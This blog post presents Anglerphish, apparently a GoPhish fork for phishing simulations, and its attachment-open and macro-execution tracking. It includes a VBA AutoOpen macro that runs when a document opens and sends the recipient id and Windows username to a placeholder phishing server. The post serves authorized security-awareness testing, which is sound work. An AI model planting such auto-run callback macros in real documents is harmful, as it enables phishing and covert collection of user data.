November 18, 2026
Beyond the Click: Tracking Attachment Opens and Macro Execution in Anglerphish
Introduction

By George Petropoulos
3 min read
Introduction
Phishing is not only about links and login pages. Many real-world attacks still arrive as an attachment: an invoice in Word, a payslip in Excel or a macro-enabled document that runs code the moment it is trusted.
Would your users open that invoice? Would they click "Enable Content"?
In GoPhish you could track this indirectly. Embed the tracking URL in a document and an open shows up as "Email Opened". Have a macro post back to the landing page and it shows up as "Submitted Data". It works, but you have to build every file by hand, and the results mix attachment activity with ordinary email opens and form submissions.
Anglerphish makes this built in, with events of its own.
What is Anglerphish? It's a GoPhish fork that I've been working on for some time. For more details you can check the original article or the GitHub repo itself.
This guide covers three new additions:
- Attachment Open Tracking: who opened the file
- Macro Execution Tracking: who ran the code inside it
- Templated Attachment Filenames: personalised filenames per recipient
How It Works
Both events reuse the existing /track endpoint, just with a different marker. Each one implies the steps before it, so a macro execution also counts as an attachment open and an email open, even if those were never recorded.
Note: Email opens are no longer reliable. Privacy features and image proxies load images automatically, and many clients block them entirely. Attachment opens and macro callbacks need a deliberate action, which makes them much stronger signals.
Feature 1: Attachment Open Tracking
What happens: Anglerphish adds an invisible 1ร1 image to each recipient's copy of the attachment. When the file is opened, the image loads from your server and an Attachment Opened event is recorded.
Setup
- Go to Templates โ Create or edit a template
- Check โ Track attachment opens
- Add your attachment (HTML, Word, Excel or PowerPoint)
- Save and launch your campaign as usual
That's it. The original content of the file stays untouched.
Note: Office may block external images in Protected View. A recorded open means the tracking beacon was requested, but automated security scanners can trigger it too.
Feature 2: Macro Execution Tracking
What happens: Your macro calls back to Anglerphish with the recipient id, and a Macro Executed event is recorded.
Anglerphish doesn't generate or embed macros. You provide the macro-enabled document, and Anglerphish records the callback when its code runs.
The macro just needs to request:
https://your-phish-server/track?m=1&rid=<recipient id>https://your-phish-server/track?m=1&rid=<recipient id>Any extra values the macro collects can be added to the URL, such as &user=jdoe&host=FINANCE-PC01. They're saved with the event and shown on the timeline and in reports.
The only tricky part is getting the recipient id into the macro:
- .docm / .xlsm: put
{{.RId}}somewhere in the document and have the macro read it (e.g. in File โ Properties โ Author) - .doc / .xls: these are binary files, so see Feature 3 below
Note: Modern Office versions block macros in files downloaded from the internet by default. Depending on security policies, users may not even see an "Enable Content" option.
Feature 3: Templated Attachment Filenames
Filenames now accept template variables:
invoice_{{.FirstName}}.docx โ invoice_Jane.docx
Invoice_{{.RId}}.doc โ Invoice_8fQ2kLm.docinvoice_{{.FirstName}}.docx โ invoice_Jane.docx
Invoice_{{.RId}}.doc โ Invoice_8fQ2kLm.docWith {{.RId}} in the filename, the macro can read its own name to find the id:
Sub AutoOpen()
Dim rid As String
rid = Split(Split(ThisDocument.Name, "_")(1), ".")(0)
With CreateObject("MSXML2.XMLHTTP")
.Open "GET", "https://your-phish-server/track?m=1&rid=" & rid & _
"&user=" & Environ("USERNAME"), False
.Send
End With
End SubSub AutoOpen()
Dim rid As String
rid = Split(Split(ThisDocument.Name, "_")(1), ".")(0)
With CreateObject("MSXML2.XMLHTTP")
.Open "GET", "https://your-phish-server/track?m=1&rid=" & rid & _
"&user=" & Environ("USERNAME"), False
.Send
End With
End SubThis assumes a single underscore in the filename, so adjust the parsing if your naming differs.
Besides macro tracking, templated filenames can personalize attachments to their recipients.
Wrapping Up
Attachment activity used to be mixed in with email opens and form submissions. Now Anglerphish records who opened the file and who trusted it enough to run code, each as its own event.
Start with open tracking to see who opens your attachments. Add a macro callback when you want to know who would go one step further.
A click shows curiosity. Enabling a macro shows trust, and that's what attackers count on.